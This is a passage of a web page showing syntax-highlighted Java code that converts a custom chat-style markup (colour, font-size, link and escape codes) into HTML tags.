/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">code</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"&lt;span&nbsp;style=\"font-size:"</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #0000BB">kcode</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"px\"&gt;"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">+=&nbsp;</span><span style="color: #0000BB">kcode</span><span style="color: #007700">.</span><span style="color: #0000BB">length</span><span style="color: #007700">()&nbsp;+&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}else&nbsp;if&nbsp;(</span><span style="color: #0000BB">text</span><span style="color: #007700">.</span><span style="color: #0000BB">charAt</span><span style="color: #007700">(</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">)&nbsp;==&nbsp;</span><span style="color: #DD0000">'°'</span><span style="color: #007700">)&nbsp;{&nbsp;</span><span style="color: #FF8000">//&nbsp;Farbe<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">String&nbsp;kcode&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">text</span><span style="color: #007700">.</span><span style="color: #0000BB">substring</span><span style="color: #007700">(</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">kcode&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">kcode</span><span style="color: #007700">.</span><span style="color: #0000BB">substring</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">kcode</span><span style="color: #007700">.</span><span style="color: #0000BB">indexOf</span><span style="color: #007700">(</span><span style="color: #DD0000">'°'</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">kcode</span><span style="color: #007700">.</span><span style="color: #0000BB">isEmpty</span><span style="color: #007700">()){<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">code</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"&lt;font&nbsp;color=\""</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #0000BB">GetHtmlColor</span><span style="color: #007700">(</span><span style="color: #0000BB">kcode</span><span style="color: #007700">.</span><span style="color: #0000BB">charAt</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">))).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"\"&gt;"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">+=&nbsp;</span><span style="color: #0000BB">kcode</span><span style="color: #007700">.</span><span style="color: #0000BB">length</span><span style="color: #007700">()&nbsp;+&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}else&nbsp;if&nbsp;(</span><span style="color: #0000BB">text</span><span style="color: #007700">.</span><span style="color: #0000BB">charAt</span><span style="color: #007700">(</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">)&nbsp;==&nbsp;</span><span style="color: #DD0000">'&#91;'&nbsp;</span><span style="color: #007700">&amp;&amp;&nbsp;(!</span><span style="color: #0000BB">escape</span><span style="color: #007700">))&nbsp;{&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">String&nbsp;kcode&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">text</span><span style="color: #007700">.</span><span style="color: #0000BB">substring</span><span style="color: #007700">(</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">kcode&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">kcode</span><span style="color: #007700">.</span><span style="color: #0000BB">substring</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">kcode</span><span style="color: #007700">.</span><span style="color: #0000BB">indexOf</span><span style="color: #007700">(</span><span style="color: #DD0000">'°'</span><span style="color: #007700">));&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">code</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"&lt;font&nbsp;color=\""</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #0000BB">parseColor</span><span style="color: #007700">(</span><span style="color: #0000BB">kcode</span><span style="color: #007700">)).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"\"&gt;"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">+=&nbsp;</span><span style="color: #0000BB">kcode</span><span style="color: #007700">.</span><span style="color: #0000BB">length</span><span style="color: #007700">()&nbsp;+&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}else&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">String&nbsp;kcode&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">text</span><span style="color: #007700">.</span><span style="color: #0000BB">substring</span><span style="color: #007700">(</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">kcode&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">kcode</span><span style="color: #007700">.</span><span style="color: #0000BB">substring</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">kcode</span><span style="color: #007700">.</span><span style="color: #0000BB">indexOf</span><span style="color: #007700">(</span><span style="color: #DD0000">'&lt;'</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">kcode</span><span style="color: #007700">.</span><span style="color: #0000BB">split</span><span style="color: #007700">(</span><span style="color: #DD0000">"\\|"</span><span style="color: #007700">).</span><span style="color: #0000BB">length&nbsp;</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">){<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">String&nbsp;href&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">kcode</span><span style="color: #007700">.</span><span style="color: #0000BB">split</span><span style="color: #007700">(</span><span style="color: #DD0000">"\\|"</span><span style="color: #007700">)&#91;</span><span style="color: #0000BB">0</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">String&nbsp;a&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">kcode</span><span style="color: #007700">.</span><span style="color: #0000BB">split</span><span style="color: #007700">(</span><span style="color: #DD0000">"\\|"</span><span style="color: #007700">)&#91;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">code</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"&lt;a&nbsp;href=\""</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #0000BB">a</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"\"&gt;"</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #0000BB">href</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"&lt;/a&gt;"</span><span style="color: #007700">);&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">kcode</span><span style="color: #007700">.</span><span style="color: #0000BB">split</span><span style="color: #007700">(</span><span style="color: #DD0000">"\\|"</span><span style="color: #007700">).</span><span style="color: #0000BB">length&nbsp;</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">){<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}else&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">code</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"&lt;a&nbsp;href=\""</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #0000BB">kcode</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"\"&gt;"</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #0000BB">kcode</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"&lt;/a&gt;"</span><span style="color: #007700">);&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">+=&nbsp;</span><span style="color: #0000BB">kcode</span><span style="color: #007700">.</span><span style="color: #0000BB">length</span><span style="color: #007700">()&nbsp;+&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">+=&nbsp;</span><span style="color: #0000BB">kcode</span><span style="color: #007700">.</span><span style="color: #0000BB">length</span><span style="color: #007700">()&nbsp;+&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">;<br /><br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;catch&nbsp;(</span><span style="color: #0000BB">Exception&nbsp;ex</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #DD0000">'§'</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">escape&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">false</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">bold&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">false</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">italic&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">false</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">code</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"&lt;span&nbsp;style=\"font-size:"</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #0000BB">fontSize</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"px\"&gt;"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #DD0000">'_'</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">escape</span><span style="color: #007700">){<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">code</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"_"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br 